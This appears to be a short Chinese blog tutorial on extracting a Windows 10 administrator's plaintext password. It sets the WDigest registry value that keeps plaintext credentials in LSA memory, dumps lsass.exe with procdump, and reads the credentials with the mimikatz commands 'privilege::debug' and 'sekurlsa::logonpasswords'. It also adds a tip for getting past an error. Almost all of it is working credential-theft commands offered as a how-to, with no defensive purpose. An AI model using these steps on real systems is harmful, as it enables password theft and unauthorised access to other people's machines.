工具:
procdump & mimikatz

实验环境:
实验主机:win10
账户密码:17位复杂密码(大小写+特殊字符+数字)
(虽然微软很早就更新了补丁来防止获取windows的明文密码,但是可以修改注册表...
使 \HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest下的UseLogonCredentiald的键值为1 即代表WDigest的密码支持明文形式保存在LSA内存中)
优雅的获取win10密码_第1张图片

步骤:

使用cmd运行procdump.exe
输入:Procdump.exe -accepteula -ma lsass.exe lsass.dmp

优雅的获取win10密码_第2张图片

使用cmd运行mimikatz.exe
优雅的获取win10密码_第3张图片

输入:privilege::debug
sekurlsa::logonpasswords

在wdigest:下显示的就是管理员的密码

补充:

如果按照网上的教程在mimikatz输入指令这里100%报错
(ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005))

privilege::debug(提权)
sekurlsa::logonpasswords(抓密码)